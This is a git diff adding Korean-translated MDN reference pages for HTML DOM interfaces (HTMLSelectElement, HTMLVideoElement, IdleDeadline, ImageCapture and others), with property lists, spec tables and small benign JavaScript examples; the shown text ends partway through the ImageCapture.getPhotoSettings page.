{{domxref("HTMLSelectElement.size")}}
+
A long reflecting the {{htmlattrxref("size", "select")}} HTML attribute, which contains the number of visible items in the control. The default is 1, unless multiple is true, in which case it is 4.
+
{{domxref("HTMLSelectElement.type")}}{{ReadOnlyInline}}
+
A {{domxref("DOMString")}} represeting the form control's type. When multiple is true, it returns "select-multiple"; otherwise, it returns "select-one".
+
{{domxref("HTMLSelectElement.validationMessage")}}{{ReadOnlyInline}}
+
A {{domxref("DOMString")}} representing a localized message that describes the validation constraints that the control does not satisfy (if any). This attribute is the empty string if the control is not a candidate for constraint validation (willValidate is false), or it satisfies its constraints.
+
{{domxref("HTMLSelectElement.validity")}}{{ReadOnlyInline}}
+
A {{domxref("ValidityState")}} reflecting the validity state that this control is in.
+
{{domxref("HTMLSelectElement.value")}}
+
A {{domxref("DOMString")}} reflecting the value of the form control. Returns the value property of the first selected option element if there is one, otherwise the empty string.
+
{{domxref("HTMLSelectElement.willValidate")}}{{ReadOnlyInline}}
+
A {{jsxref("Boolean")}} that indicates whether the button is a candidate for constraint validation. It is false if any conditions bar it from constraint validation.
+
+ +

Methods

+ +

This interface inherits the methods of {{domxref("HTMLElement")}}, and of {{domxref("Element")}} and {{domxref("Node")}}.

+ +
+
{{domxref("HTMLSelectElement.add()")}}
+
Adds an element to the collection of option elements for this select element.
+
{{domxref("HTMLSelectElement.blur()")}}{{obsolete_inline}}
+
Removes input focus from this element. This method is now implemented on {{domxref("HTMLElement")}}.
+
{{domxref("HTMLSelectElement.checkValidity()")}}
+
Checks whether the element has any constraints and whether it satisfies them. If the element fails its constraints, the browser fires a cancelable {{domxref("HTMLInputElement/invalid_event", "invalid")}} event at the element (and returns false).
+
{{domxref("HTMLSelectElement.focus()")}}{{obsolete_inline}}
+
Gives input focus to this element. This method is now implemented on {{domxref("HTMLElement")}}.
+
{{domxref("HTMLSelectElement.item()")}}
+
Gets an item from the options collection for this {{HTMLElement("select")}} element. You can also access an item by specifying the index in array-style brackets or parentheses, without calling this method explicitly.
+
{{domxref("HTMLSelectElement.namedItem()")}}
+
Gets the item in the options collection with the specified name. The name string can match either the id or the name attribute of an option node. You can also access an item by specifying the name in array-style brackets or parentheses, without calling this method explicitly.
+
{{domxref("HTMLSelectElement.remove()")}}
+
Removes the element at the specified index from the options collection for this select element.
+
{{domxref("HTMLSelectElement.reportValidity()")}}
+
This method reports the problems with the constraints on the element, if any, to the user. If there are problems, it fires a cancelable {{domxref("HTMLInputElement/invalid_event", "invalid")}} event at the element, and returns false; if there are no problems, it returns true.
+
{{domxref("HTMLSelectElement.setCustomValidity()")}}
+
Sets the custom validity message for the selection element to the specified message. Use the empty string to indicate that the element does not have a custom validity error.
+
+ +

Events

+ +

Listen to these events using {{domxref("EventTarget/addEventListener", "addEventListener()")}} or by assigning an event listener to the oneventname property of this interface:

+ +
+
{{domxref("HTMLElement/input_event", "input")}} event
+
Fires when the value of an {{HTMLElement("input")}}, {{HTMLElement("select")}}, or {{HTMLElement("textarea")}} element has been changed.
+
+ +

Example

+ +

Get information about the selected option

+ +
/* assuming we have the following HTML
+<select id='s'>
+    <option>First</option>
+    <option selected>Second</option>
+    <option>Third</option>
+</select>
+*/
+
+var select = document.getElementById('s');
+
+// return the index of the selected option
+console.log(select.selectedIndex); // 1
+
+// return the value of the selected option
+console.log(select.options[select.selectedIndex].value) // Second
+
+ +

A better way to track changes to the user's selection is to watch for the {{domxref("HTMLElement/change_event", "change")}} event to occur on the <select>. This will tell you when the value changes, and you can then update anything you need to. See the example provided in the documentation for the change event for details.

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#htmlselectelement', 'HTMLSelectElement')}}{{Spec2('HTML WHATWG')}}Since the latest snapshot, {{SpecName('HTML5 W3C')}}, it adds the autocomplete property and the reportValidity() method.
{{SpecName('HTML5 W3C', 'forms.html#htmlselectelement', 'HTMLSelectElement')}}{{Spec2('HTML5 W3C')}}Is a snapshot of {{SpecName("HTML WHATWG")}}.
+ It adds the autofocus, form, required, labels, selectedOptions, willValidate, validity and validationMessage properties.
+ The tabindex property and the blur() and focus() methods have been moved to {{domxref("HTMLElement")}}.
+ The methods item(), namedItem(), checkValidity() and setCustomValidity().
{{SpecName('DOM2 HTML', 'html.html#ID-94282980', 'HTMLSelectElement')}}{{Spec2('DOM2 HTML')}}options now returns an {{domxref("HTMLOptionsCollection")}}.
+ length now returns an unsigned long.
{{SpecName('DOM1', 'level-one-html.html#ID-94282980', 'HTMLSelectElement')}}{{Spec2('DOM1')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.HTMLSelectElement")}}

+ +

See also

+ + diff --git a/files/ko/web/api/htmlselectelement/selectedoptions/index.html b/files/ko/web/api/htmlselectelement/selectedoptions/index.html new file mode 100644 index 0000000000..da8993f4cf --- /dev/null +++ b/files/ko/web/api/htmlselectelement/selectedoptions/index.html @@ -0,0 +1,123 @@ +--- +title: HTMLSelectElement.selectedOptions +slug: Web/API/HTMLSelectElement/selectedOptions +translation_of: Web/API/HTMLSelectElement/selectedOptions +--- +

{{APIRef("HTML DOM")}}

+ +

The read-only {{domxref("HTMLSelectElement")}} property selectedOptions contains a list of the {{HTMLElement("option")}} elements contained within the {{HTMLElement("select")}} element that are currently selected. The list of selected options is an {{domxref("HTMLCollection")}} object with one entry per currently selected option.

+ +

An option is considered selected if it has an {{domxref("HTMLOptionElement.selected")}} attribute.

+ +

Syntax

+ +
var selectedCollection = HTMLSelectElement.selectedOptions;
+ +

Value

+ +

An {{domxref("HTMLCollection")}} which lists every currently selected {{domxref("HTMLOptionElement")}} which is either a child of the {{domxref("HTMLSelectElement")}} or of an {{domxref("HTMLOptGroupElement")}} within the <select> element.

+ +

In other words, any option contained within the <select> element may be part of the results, but option groups are not included in the list.

+ +

If no options are currently selected, the collection is empty and returns a {{domxref("HTMLCollection.length", "length")}} of 0.

+ +

Example

+ +

In this example, a {{HTMLElement("select")}} element with a number of options is used to let the user order various food items.

+ +

HTML

+ +

The HTML that creates the selection box and the {{HTMLElement("option")}} elements representing each of the food choices looks like this:

+ +
<label for="foods">What do you want to eat?</label><br>
+<select id="foods" name="foods" size="7" multiple>
+  <option value="1">Burrito</option>
+  <option value="2">Cheeseburger</option>
+  <option value="3">Double Bacon Burger Supreme</option>
+  <option value="4">Pepperoni Pizza</option>
+  <option value="5">Taco</option>
+</select>
+<br>
+<button name="order" id="order">
+  Order Now
+</button>
+<p id="output">
+</p>
+ +

The <select> element is set to allow multiple items to be selected, and it is 7 rows tall. Note also the {{HTMLElement("button")}}, whose role it is to trigger fetching the {{domxref("HTMLCollection")}} of selected elements using the selected property.

+ +

JavaScript

+ +

The JavaScript code that establishes the event handler for the button, as well as the event handler itself, looks like this:

+ +
let orderButton = document.getElementById("order");
+let itemList = document.getElementById("foods");
+let outputBox = document.getElementById("output");
+
+orderButton.addEventListener("click", function() {
+  let collection = itemList.selectedOptions;
+  let output = "";
+
+  for (let i=0; i<collection.length; i++) {
+    if (output === "") {
+      output = "Your order for the following items has been placed: ";
+    }
+    output += collection[i].label;
+
+    if (i === (collection.length - 2) && (collection.length < 3)) {
+      output +=  " and ";
+    } else if (i < (collection.length - 2)) {
+      output += ", ";
+    } else if (i === (collection.length - 2)) {
+      output += ", and ";
+    }
+  }
+
+  if (output === "") {
+    output = "You didn't order anything!";
+  }
+
+  outputBox.innerHTML = output;
+}, false);
+ +

This script sets up a {{event("click")}} event listener on the "Order Now" button. When clicked, the event handler fetches the list of selected options using selectedOptions, then iterates over the options in the list. A string is constructed to list the ordered items, with logic to build the list using proper English grammar rules (including a {{interwiki("wikipedia", "serial comma")}}).

+ +

Result

+ +

The resulting content looks like this in action:

+ +

{{EmbedLiveSample("Example", 600, 250)}}

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "form-elements.html#dom-select-selectedoptions", "HTMLSelectElement.selectedOptions")}}{{Spec2('HTML WHATWG')}}No change from {{SpecName('HTML5 W3C')}}
{{SpecName('HTML5 W3C', "forms.html#dom-select-selectedoptions", "HTMLSelectElement.selectedOptions")}}{{Spec2('HTML5 W3C')}}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.HTMLSelectElement.selectedOptions")}}

+ +

See also

+ + diff --git a/files/ko/web/api/htmlspanelement/index.html b/files/ko/web/api/htmlspanelement/index.html new file mode 100644 index 0000000000..084f295382 --- /dev/null +++ b/files/ko/web/api/htmlspanelement/index.html @@ -0,0 +1,61 @@ +--- +title: HTMLSpanElement +slug: Web/API/HTMLSpanElement +tags: + - API + - HTML DOM + - 레퍼런스 + - 인터페이스 +translation_of: Web/API/HTMLSpanElement +--- +
+
{{APIRef("HTML DOM")}}
+
+ +

HTMLSpanElement 인터페이스는 {{HTMLElement("span")}} 엘리먼트를 나타내며 {{ domxref("HTMLElement") }} 인터페이스로부터 파생되었으며 부가적인 프로퍼티나 메소드는 구현되지 않았습니다.

+ +

{{InheritanceDiagram(600, 120)}}

+ +

프로퍼티

+ +

특정 프로퍼티가 없으며, 부모인 {{domxref("HTMLElement")}} 로부터 프로퍼티를 상속받습니다.

+ +

메소드

+ +

특정 메소드가 없으며, 부모인 {{domxref("HTMLElement")}} 로부터 메소드를 상속받습니다.

+ +

명세

+ + + + + + + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('HTML WHATWG', "#htmlspanelement", "HTMLSpanElement")}}{{Spec2('HTML WHATWG')}} 
{{SpecName('HTML5 W3C', "text-level-semantics.html#the-span-element", "HTMLSpanElement")}}{{Spec2('HTML5 W3C')}}초기 정의는 {{HTMLElement("span")}} 이 {{domxref("HTMLElement")}} 와 연관되어 있었음.
+ +

브라우저 호환성

+ + + +

{{Compat("api.HTMLSpanElement")}}

+ +

함께 보기

+ + + +
 
diff --git a/files/ko/web/api/htmltableelement/index.html b/files/ko/web/api/htmltableelement/index.html new file mode 100644 index 0000000000..551d68b58e --- /dev/null +++ b/files/ko/web/api/htmltableelement/index.html @@ -0,0 +1,109 @@ +--- +title: table +slug: Web/API/HTMLTableElement +tags: + - DOM + - Gecko + - Gecko DOM Reference +translation_of: Web/API/HTMLTableElement +--- +

{{ ApiRef() }}

+

HTML Table 요소 인터페이스

+

table 개체는 (상속으로 이용할 수 있는 정규 element 개체 인터페이스 외에) HTML 표의 layout과 presentation을 다루는 특수 프로퍼티와 메소드를 제공하는 HTMLTableElement 인터페이스를 내놓습니다.

+

프로퍼티

+
+
+ table.caption
+
+ caption은 표 caption을 반환합니다.
+
+ table.tHead
+
+ tHead는 표 head를 반환합니다.
+
+ table.tFoot
+
+ tFoot은 표 footer를 반환합니다.
+
+ table.rows
+
+ rows는 표의 줄(row)을 반환합니다.
+
+ table.tBodies
+
+ tBodies는 표 body를 반환합니다.
+
+
+
+ table.align
+
+ align은 표 정렬을 get/set합니다.
+
+ table.bgColor {{ Deprecated_inline() }} 
+
+ bgColor는 표의 배경색을 get/set합니다.
+
+ table.border
+
+ border는 표 border를 get/set합니다.
+
+ table.cellPadding
+
+ cellPadding은 cell padding을 get/set합니다.
+
+ table.cellSpacing
+
+ cellSpacing은 표 주변 spacing을 get/set합니다.
+
+ table.frame
+
+ frame은 표 어느 쪽이 border를 가질 지를 지정합니다.
+
+ table.rules
+
+ rules는 안쪽 border가 보일 지를 지정합니다.
+
+ table.summary
+
+ summary는 표 요약을 get/set합니다.
+
+ table.width
+
+ width는 표 너비를 get/set합니다.
+
+

메소드

+
+
+ table.createTHead
+
+ createTHead는 표 header를 만듭니다.
+
+ table.deleteTHead
+
+ deleteTHead는 표 header를 없앱니다.
+
+ table.createTFoot
+
+ createTFoot은 표 footer를 만듭니다.
+
+ table.deleteTFoot
+
+ deleteTFoot은 표 footer를 없앱니다.
+
+ table.createCaption
+
+ createCaption는 표에 새 caption을 만듭니다.
+
+ table.deleteCaption
+
+ deleteCaption은 표 caption을 없앱니다.
+
+ table.insertRow
+
+ insertRow는 새 줄을 삽입합니다.
+
+ table.deleteRow
+
+ deleteRow는 줄을 없앱니다.
+
+

{{ languages( { "en": "en/DOM/table", "pl": "pl/DOM/table" } ) }}

diff --git a/files/ko/web/api/htmltableelement/width/index.html b/files/ko/web/api/htmltableelement/width/index.html new file mode 100644 index 0000000000..de93d46543 --- /dev/null +++ b/files/ko/web/api/htmltableelement/width/index.html @@ -0,0 +1,28 @@ +--- +title: table.width +slug: Web/API/HTMLTableElement/width +tags: + - DOM + - Gecko + - Gecko DOM Reference +translation_of: Web/API/HTMLTableElement/width +--- +

{{ ApiRef() }}

+

요약

+

width는 바라는 테이블의 너비를 지정합니다.

+

구문

+
HTMLTableElement.width =width;
+varwidth =HTMLTableElement.width;
+
+

width가 픽셀수나 퍼센트 값으로 너비를 나타내는 문자열인 곳.

+

예제

+
mytable.width = "75%";
+
+

스펙

+

W3C DOM 2 HTML Specification + + HTMLTableElement + .width

+
+  
+

{{ languages( { "en": "en/DOM/table.width" } ) }}

diff --git a/files/ko/web/api/htmltemplateelement/index.html b/files/ko/web/api/htmltemplateelement/index.html new file mode 100644 index 0000000000..d53e94b947 --- /dev/null +++ b/files/ko/web/api/htmltemplateelement/index.html @@ -0,0 +1,58 @@ +--- +title: HTMLTemplateElement +slug: Web/API/HTMLTemplateElement +tags: + - API + - HTML DOM + - HTMLTemplateElement + - 레퍼런스 + - 웹 컴포넌트 + - 인터페이스 +translation_of: Web/API/HTMLTemplateElement +--- +
{{APIRef("Web Components")}}
+ +

HTMLTemplateElement 인터페이스는 HTML {{HTMLElement("template")}} 엘리먼트의 컨텐츠에 접근할 수 있게 해줍니다.

+ +

{{InheritanceDiagram(600, 120)}}

+ +

프로퍼티

+ +

이 인터페이스는 {{domxref("HTMLElement")}} 의 프로퍼티를 상속받습니다.

+ +
+
{{domxref("HTMLTemplateElement.content")}}{{readonlyinline}}
+
{{domxref("DocumentFragment")}}: {{HTMLElement("template")}} 엘리먼트의 템플릿 컨텐츠를 반환합니다.
+
+ +

메소드

+ +

이 인터페이스는 {{domxref("HTMLElement")}} 의 메소드를 상속받습니다.

+ +

명세

+ + + + + + + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('HTML WHATWG','scripting.html#htmltemplateelement','HTMLTemplateElement interface')}}{{Spec2('HTML WHATWG')}} 
{{SpecName('HTML5 W3C','scripting-1.html#htmltemplateelement','HTMLTemplateElement interface')}}{{Spec2('HTML5 W3C')}}초기 정의
+ +

브라우저 호환성

+ + + +

{{Compat("api.HTMLTemplateElement")}}

diff --git a/files/ko/web/api/htmltitleelement/index.html b/files/ko/web/api/htmltitleelement/index.html new file mode 100644 index 0000000000..dedc718022 --- /dev/null +++ b/files/ko/web/api/htmltitleelement/index.html @@ -0,0 +1,77 @@ +--- +title: HTMLTitleElement +slug: Web/API/HTMLTitleElement +tags: + - API + - HTML DOM + - Interface + - Reference +translation_of: Web/API/HTMLTitleElement +--- +
{{ APIRef("HTML DOM") }}
+ +

HTMLTitleElement 인터페이스는 문서의 제목을 담습니다. {{domxref("HTMLElement")}} 인터페이스의 속성과 메서드를 상속합니다,

+ +

{{InheritanceDiagram(600, 120)}}

+ +

Properties

+ +

부모인 {{domxref("HTMLElement")}}로부터 상속합니다.

+ +
+
{{domxref("HTMLTitleElement.text")}}
+
문서의 제목을 나타내는 {{domxref("DOMString")}}입니다.
+
+ +

메서드

+ +

부모인 {{domxref("HTMLElement")}}로부터 상속합니다.

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "#htmltitleelement", "HTMLTitleElement")}}{{Spec2('HTML WHATWG')}} 
{{SpecName('HTML5.1', "document-metadata.html#the-title-element", "HTMLTitleElement")}}{{Spec2('HTML5.1')}}No change from {{SpecName("HTML5 W3C")}}
{{SpecName('HTML5 W3C', "document-metadata.html#the-title-element", "HTMLTitleElement")}}{{Spec2('HTML5 W3C')}}No change from {{SpecName("DOM2 HTML")}}.
{{SpecName('DOM2 HTML', 'html.html#ID-79243169', 'HTMLTitleElement')}}{{Spec2('DOM2 HTML')}}No change from {{SpecName("DOM1")}}.
{{SpecName('DOM1', 'level-one-html.html#ID-79243169', 'HTMLTitleElement')}}{{Spec2('DOM1')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.HTMLTitleElement")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/htmlvideoelement/index.html b/files/ko/web/api/htmlvideoelement/index.html new file mode 100644 index 0000000000..f3037ee675 --- /dev/null +++ b/files/ko/web/api/htmlvideoelement/index.html @@ -0,0 +1,117 @@ +--- +title: HTMLVideoElement +slug: Web/API/HTMLVideoElement +translation_of: Web/API/HTMLVideoElement +--- +
{{APIRef("HTML DOM")}}
+ +

HTMLVideoElement 인터페이스는 Video object를 조작하는데 필요한 프로퍼티와 메소드를 제공합니다. {{domxref("HTMLMediaElement")}}와 {{domxref("HTMLElement")}}를 상속합니다.

+ +

지원하는 미디어 포맷 목록은 브라우저마다 다릅니다. 여러분은 적절한 범위의 브라우저에서 지원하는 한가지 비디어 포맷을 제공하던가, 지원할 모든 브라우저를 위한 여러 종류의 미디어 포맷을 제공해야 합니다.

+ +

{{InheritanceDiagram(600, 140)}}

+ +

속성(Properties)

+ +

{{domxref("HTMLMediaElement")}}와 {{domxref("HTMLElement")}}의 속성들도 상속 받습니다.

+ +
+
{{domxref("HTMLVideoElement.height")}}
+
표시 영역의 높이를 나타내는 HTML Attribute {{htmlattrxref("height", "video")}}의 값을  {{domxref("DOMString")}}으로 반환합니다. 단위는 pixel입니다.
+
{{domxref("HTMLVideoElement.poster")}}
+
비디오 데이터가 없을 때 보여줄 이미지를 지정하는 HTML Attribute {{htmlattrxref("poster", "video")}}의 값을 {{domxref("DOMString")}}로 반환합니다.
+
{{domxref("HTMLVideoElement.videoHeight")}} {{readonlyInline}}
+
비디오의 height를 부호 없는 정수로 나타낸 값을 반환합니다. 비디오가 없는 경우 0을 반환합니다.
+
{{domxref("HTMLVideoElement.videoWidth")}} {{readonlyInline}}
+
비디오의 width를 부호 없는 정수로 나타낸 값을 반환합니다. 비디오가 없는 경우 0을 반환합니다.
+
{{domxref("HTMLVideoElement.width")}}
+
표시 영역의 높이를 나타내는 HTML Attribute {{htmlattrxref("width", "video")}}의 값을  {{domxref("DOMString")}}으로 반환합니다. 단위는 pixel입니다.
+
+ +

Gecko 전용 속성

+ +
+
{{domxref("HTMLVideoElement.mozParsedFrames")}} {{Non-standard_Inline}}{{ReadOnlyInline}}
+
미디어 소스에서 파싱된 비디오 프레임 수를 unsigned long 값으로 반환합니다.
+
{{domxref("HTMLVideoElement.mozDecodedFrames")}} {{Non-standard_Inline}}{{ReadOnlyInline}}
+
화상으로 디코딩 된 비디오 프레임 수를 unsigned long 값으로 반환합니다.
+
{{domxref("HTMLVideoElement.mozPresentedFrames")}} {{Non-standard_Inline}}{{ReadOnlyInline}}
+
렌더링 파이프 라인을 통해 출력된 디코드 프레임 수를 unsigned long 값으로 반환합니다.
+
{{domxref("HTMLVideoElement.mozPaintedFrames")}} {{Non-standard_Inline}}{{ReadOnlyInline}}
+
화면에 그려진 프레임 수를 unsigned long 값으로 반환합니다.
+
{{domxref("HTMLVideoElement.mozFrameDelay")}} {{Non-standard_Inline}}{{ReadOnlyInline}}
+
지연 출력된 비디오 프레임을 초 단위로 double 값으로 반환한다.
+
{{domxref("HTMLVideoElement.mozHasAudio")}} {{Non-standard_Inline}}{{ReadOnlyInline}}
+
비디오와 연관된 오디오 존재 여부를 {{JSxRef("Boolean","boolean")}} 값으로 반환한다.
+
+ +

Microsoft 확장 속성

+ +
+
{{DOMxRef("HTMLVideoElement.msFrameStep()")}} {{Non-standard_Inline}}
+
프레임 단위로 앞/뒤로 이동합니다.
+
{{DOMxRef("HTMLVideoElement.msHorizontalMirror")}} {{Non-standard_Inline}}
+
비디오의 좌/우 반전 시키거나 반전된 상태를 반환합니다.
+
{{DOMxRef("HTMLVideoElement.msInsertVideoEffect()")}} {{Non-standard_Inline}}
+
미디어 파이프라인에 특정 비디오 효과를 추가합니다.
+
{{DOMxRef("HTMLVideoElement.msIsLayoutOptimalForPlayback")}} {{Non-standard_Inline}}{{ReadOnlyInline}}
+
더 효과적인 비디오 렌더링이 가능하면 true를 반환합니다.
+
{{DOMxRef("HTMLVideoElement.msIsStereo3D")}} {{Non-standard_Inline}}{{ReadOnlyInline}}
+
시스템이 비디오를 stereo 3-D로 판단하였는지 여부를 반환합니다. 값을 true로 지정한다면 video를 stereo 3-D로 인식합니다..
+
{{DOMxRef("HTMLVideoElement.msZoom")}} {{Non-standard_Inline}}
+
비디오 프레임을 출력부에 딱 맞게 트림합니다.
+
+ +

메소드

+ +

{{domxref("HTMLMediaElement")}}와 {{domxref("HTMLElement")}}의 메소드도 상속 받습니다.

+ +
+
{{domxref("HTMLVideoElement.getVideoPlaybackQuality()")}} {{experimental_inline}}
+
현재 재생 결과를 담고 있는 {{domxref("VideoPlaybackQuality")}} 객체를 반환합니다. 전체 프레임 중 drop 되거나 손실된 프레임 등 재생 정보를 포함합니다.
+
+ +

Events

+ +

{{domxref("HTMLMediaElement")}}와 {{domxref("HTMLElement")}}의 이벤트를 상속합니다. addEventListener() 메소드 또는 oneventname 프로퍼티에 리스너를 전달하여 이벤트를 수신합니다.

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Media Source Extensions', '#idl-def-HTMLVideoElement', 'Extensions to HTMLVideoElement')}}{{Spec2("Media Source Extensions")}}getVideoPlaybackQuality() 메소드 추가.
{{SpecName('HTML WHATWG', "#htmlvideoelement", "HTMLVideoElement")}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5 W3C', "embedded-content-0.html#the-video-element", "HTMLVideoElement")}}{{Spec2('HTML5 W3C')}}초기 정의.
+ +

브라우저 호환성

+ + + +

{{Compat("api.HTMLVideoElement")}}

+ +

더 보기

+ + diff --git a/files/ko/web/api/idledeadline/didtimeout/index.html b/files/ko/web/api/idledeadline/didtimeout/index.html new file mode 100644 index 0000000000..e806769576 --- /dev/null +++ b/files/ko/web/api/idledeadline/didtimeout/index.html @@ -0,0 +1,58 @@ +--- +title: IdleDeadline.didTimeout +slug: Web/API/IdleDeadline/didTimeout +translation_of: Web/API/IdleDeadline/didTimeout +--- +
{{APIRef("Background Tasks")}}
+ +

{{domxref("IdleDeadline")}} 인터페이스의 읽기 전용 속성(property)인 didTimeout 는 {{domxref("Window.requestIdleCallback()")}}이 호출될 때 지정된 timeout 간격이 만료되어, 유휴 콜백(idle callback)이 호출되는지 여부를 나타내는 Boolean 값 입니다.

+ +

didTimeout 이 true 면, IdleDeadline 객체의 {{domxref("IdleDeadline.timeRemaining", "timeRemaining()")}} 메서드는 대략 0을 반환합니다..

+ +

유휴 콜백은 사용자 에이전트가 충분한 유휴 시간을 사용할 수 없는 경우에도, 수행하려는 작업이 실제로 발생하는지 확인하기 위해 timeout 개념을 지원합니다. 브라우저가 너무 바빠서 시간을 허락하지 않더라도, 액션을 수행해야 하는 경우 콜백은 일반적으로 didTimeout값을 확인합니다. 필요로 하는 작업을 수행하거나, 이상적인 상황을 유지하기 위해 수행할 수 있는 최소한의 작업을 수행하도록 대응하고, 새로운 콜백을 예약하여 나머지 작업을 다시 시도하도록 해야합니다.

+ +

Syntax

+ +
var timedOut = IdleDeadline.didTimeout;
+ +

Value

+ +

Boolean 으로, 콜백의 timeout 기간이 경과하여 콜백이 실행 중이면 true 입니다. 사용자 에이전트가 유휴 상태이고 콜백에 시간을 제공하고 있기 때문에 콜백이 실행 중이면, false 입니다.

+ +

Example

+ +

Cooperative Scheduling of Background Tasks API의 complete example 를 참조하세요

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Background Tasks")}}{{Spec2("Background Tasks")}} 
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.IdleDeadline.didTimeout")}}

+
+ +

See also

+ + diff --git a/files/ko/web/api/idledeadline/index.html b/files/ko/web/api/idledeadline/index.html new file mode 100644 index 0000000000..0ebb461482 --- /dev/null +++ b/files/ko/web/api/idledeadline/index.html @@ -0,0 +1,66 @@ +--- +title: IdleDeadline +slug: Web/API/IdleDeadline +translation_of: Web/API/IdleDeadline +--- +
{{APIRef("Background Tasks")}}
+ +
+

IdleDeadline 인터페이스는 {{domxref("Window.requestIdleCallback()")}}을 호출하여 설정된 유휴 콜백(idle callback)에 대한 입력 매개변수(parameter)의 데이터 타입으로 사용됩니다. {{domxref("IdleDeadline.timeRemaining", "timeRemaining()")}} 메서드를 제공하여 사용자 에이전트가 유휴 상태로있을 것으로 추정하는 시간과 속성(property)인 {{domxref("IdleDeadline.didTimeout", "didTimeout")}}을 결정할 수있게하여, timeout 기간이 만료되어 콜백이 실행 중인지 여부를 결정할 수 있습니다.

+ +

request callback이 작동하는 방식에 대해 자세히알아 보려면, Collaborative Scheduling of Background Tasks 문서를 읽어보세요.

+
+ +

Properties

+ +
+
{{domxref("IdleDeadline.didTimeout")}} {{ReadOnlyInline}}
+
유휴 콜백을 구현할 때 지정한 timeout이 만료되었음에도 콜백이 실행중인 경우, 값이 true인 Boolean 입니다.
+
+ +

Methods

+ +
+
{{domxref("IdleDeadline.timeRemaining()")}}
+
현재 유휴 기간(idle period)에 남아있는 밀리초 수를 예측하는 부동 소수점 값인 {{domxref("DOMHighResTimeStamp")}}를 반환합니다. 유휴 기간이 끝나면 값은 0 입니다. 우리의 콜백은 이것을 반복적으로 호출하여, 반환하기 전에 더 많은 작업을 할 수 있는 충분한 시간이 있는지 확인할 수 있습니다.
+
+ +
+
+ +

Example

+ +

Cooperative Scheduling of Background Tasks API의 complete example를 참조하세요.

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Background Tasks")}}{{Spec2("Background Tasks")}} 
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.IdleDeadline")}}

+
+ +

See also

+ + diff --git a/files/ko/web/api/imagecapture/getphotocapabilities/index.html b/files/ko/web/api/imagecapture/getphotocapabilities/index.html new file mode 100644 index 0000000000..9ee855a96d --- /dev/null +++ b/files/ko/web/api/imagecapture/getphotocapabilities/index.html @@ -0,0 +1,79 @@ +--- +title: ImageCapture.getPhotoCapabilities() +slug: Web/API/ImageCapture/getPhotoCapabilities +tags: + - API + - Experimental + - ImageCapture + - MediaStream Image Capture API + - Method + - Reference +translation_of: Web/API/ImageCapture/getPhotoCapabilities +--- +
{{APIRef("MediaStream Image")}}
+ +

{{domxref("ImageCapture")}} 인터페이스의 getPhotoCapabilities() 메서드는 사용 가능한 설정 옵션을 담은 {{domxref("PhotoCapabilities")}} 객체로 이행하는 {{jsxref("Promise")}}를 반환합니다.

+ +

구문

+ +
const capabilitiesPromise = imageCaptureObj.getPhotoCapabilities()
+ +

반환 값

+ +

{{domxref("PhotoCapabilities")}} 객체로 이행하는 {{jsxref("Promise")}}.

+ +

예제

+ +

다음 예제는 Chrome의 Image Capture / Photo Resolution Sample에서 가져온 코드로, getPhotoCapabilities()를 사용해 범위 입력 칸의 크기를 수정합니다. 또한 장치의 {{domxref("MediaStream")}}에서 가져온 {{domxref("MediaStreamTrack")}} 객체를 사용해 {{domxref("ImageCapture")}} 객체를 생성하는 부분도 포함하고 있습니다.

+ +
const input = document.querySelector('input[type="range"]');
+
+var imageCapture;
+
+navigator.mediaDevices.getUserMedia({video: true})
+.then(mediaStream => {
+  document.querySelector('video').srcObject = mediaStream;
+
+  const track = mediaStream.getVideoTracks()[0];
+  imageCapture = new ImageCapture(track);
+
+  return imageCapture.getPhotoCapabilities();
+})
+.then(photoCapabilities => {
+  const settings = imageCapture.track.getSettings();
+
+  input.min = photoCapabilities.imageWidth.min;
+  input.max = photoCapabilities.imageWidth.max;
+  input.step = photoCapabilities.imageWidth.step;
+
+  return imageCapture.getPhotoSettings();
+})
+.then(photoSettings => {
+  input.value = photoSettings.imageWidth;
+})
+.catch(error => console.log('Argh!', error.name || error));
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('MediaStream Image','#dom-imagecapture-getphotocapabilities','getPhotoCapabilities()')}}{{Spec2('MediaStream Image')}}Initial definition.
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.ImageCapture.getPhotoCapabilities")}}

+
diff --git a/files/ko/web/api/imagecapture/getphotosettings/index.html b/files/ko/web/api/imagecapture/getphotosettings/index.html new file mode 100644 index 0000000000..b82bd7290d --- /dev/null +++ b/files/ko/web/api/imagecapture/getphotosettings/index.html @@ -0,0 +1,86 @@ +--- +title: ImageCapture.getPhotoSettings() +slug: Web/API/ImageCapture/getPhotoSettings +tags: + - API + - Experimental + - ImageCapture + - MediaStream Image Capture API + - Method + - Reference +translation_of: Web/API/ImageCapture/getPhotoSettings +--- +
{{APIRef("MediaStream Image")}}
+ +

{{domxref("ImageCapture")}} 인터페이스의 getPhotoSettings() 메서드는 현재 촬영 설정을 담은 {{domxref("PhotoSettings")}} 객체로 이행하는 {{jsxref("Promise")}}를 반환합니다.

+ +

구문

+ +
const settingsPromise = imageCapture.getPhotoSettings()
+ +

반환 값

+ +

다음의 속성으로 구성된 {{domxref("PhotoSettings")}} 객체로 이행하는 {{jsxref("Promise")}}.

+ + + +

예제

+ +

다음 예제는 Chrome의 Image Capture / Photo Resolution Sample에서 가져온 코드로, getPhotoCapabilities()를 사용해 범위 입력 칸의 크기를 수정합니다. 또한 장치의 {{domxref("MediaStream")}}에서 가져온 {{domxref("MediaStreamTrack")}} 객체를 사용해 {{domxref("ImageCapture")}} 객체를 생성하는 부분도 포함하고 있습니다.

+ +
